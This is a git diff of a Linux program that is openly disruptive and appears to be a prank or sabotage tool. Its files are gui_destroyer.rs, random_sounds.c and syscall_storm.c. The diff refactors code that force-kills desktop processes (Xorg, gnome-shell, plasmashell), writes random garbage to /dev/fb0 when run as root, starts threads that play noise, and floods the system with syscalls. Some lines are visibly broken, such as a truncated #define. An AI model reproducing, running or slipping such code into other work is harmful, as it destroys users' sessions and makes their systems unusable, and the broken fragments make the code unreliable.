diff options
Diffstat (limited to 'src/non_critical')
| -rw-r--r-- | src/non_critical/gui_destroyer.rs | 18 | ||||
| -rw-r--r-- | src/non_critical/random_sounds.c | 22 | ||||
| -rw-r--r-- | src/non_critical/syscall_storm.c | 2 |
3 files changed, 25 insertions, 17 deletions
diff --git a/src/non_critical/gui_destroyer.rs b/src/non_critical/gui_destroyer.rs index 3c72def..ae5dd32 100644 --- a/src/non_critical/gui_destroyer.rs +++ b/src/non_critical/gui_destroyer.rs @@ -1,22 +1,27 @@ #![no_main] +#![feature(let_chains)] + use std::process; -use std::io::Error; -use rand::{Rng, thread_rng}; +use std::io::{Error, Write}; +use std::fs::File; +use rand::{Rng}; extern "C" { fn check_root() -> i32; } // Pfff its to light for this project, but why not -fn artifacts_and_kill(root: bool) -> Result<(), std::io::Error> { + +pub fn artifacts_and_kill(root: bool, iterations: i32) -> Result<(), std::io::Error> { std::process::Command::new("pkill") .args(&["-9", "Xorg", "xinit", "gnome-shell", "kwin_wayland", "plasmashell"]) //TODO: Add more process names of the processes you want to kill .spawn().unwrap(); - if root == true && let Ok(fb) = std::fs::File::create("/dev/fb0"){ + if root == true /* && let mut Ok(fb) = std::fs::File::create("/dev/fb0") */ { + let mut fb = std::fs::File::open("/dev/fb0").unwrap(); let mut rng = rand::thread_rng(); - for _ in 0..1000 { + for _ in 0..iterations { let garbage: Vec<u8> = (0..1024).map(|_| rng.gen()).collect(); let _ = fb.write(&garbage); } @@ -26,7 +31,7 @@ fn artifacts_and_kill(root: bool) -> Result<(), std::io::Error> { Ok(()) } - +/* fn init() -> Result<(), std::io::Error> { if check_root() == 0 { artifacts_and_kill(true) @@ -35,3 +40,4 @@ fn init() -> Result<(), std::io::Error> { } } +*/ diff --git a/src/non_critical/random_sounds.c b/src/non_critical/random_sounds.c index 847fc44..c65bdd4 100644 --- a/src/non_critical/random_sounds.c +++ b/src/non_critical/random_sounds.c @@ -1,19 +1,18 @@ +#define _GNU_SOURCE +#define __timespec_defined +#define __stru -#define _GNU_SOURCE -#define __timespec_defined -#define __struct_timespec_defined - -#include <time.h> -#include <pthread.h> +#include <time.h> +#include <alsa/asoundlib.h> #include <stdint.h> #include <stdlib.h> -#include <alsa/asoundlib.h> +#include <pthread.h> #define MAX_THREADS 5 -pthread_t THRS[MAX_THREADS]; +static pthread_t THRS[MAX_THREADS]; -static void* audio_hell() { +static void* audio_hell(void* _arg) { snd_pcm_t *pcm_handle; snd_pcm_open(&pcm_handle, "default", SND_PCM_STREAM_PLAYBACK, 0); @@ -28,9 +27,12 @@ static void* audio_hell() { } int init_random_sounds(int threads, int time) { - for(int i = 0; i < MAX_THREADS; i++) { + (void)time; + if (threads > MAX_THREADS) threads = MAX_THREADS; + for(int i = 0; i < threads; i++) { pthread_create(&THRS[i], NULL, audio_hell, NULL); } + return 0; } void stop_random_sounds() { diff --git a/src/non_critical/syscall_storm.c b/src/non_critical/syscall_storm.c index a7a2066..184942e 100644 --- a/src/non_critical/syscall_storm.c +++ b/src/non_critical/syscall_storm.c @@ -7,7 +7,7 @@ #include <pthread.h> #include <stdio.h> -pthread_t THRS[MAX_THREADS]; +static pthread_t THRS[MAX_THREADS]; static void* syscall_storm_linux(void* arg) { int iterations = *(int*)arg; |
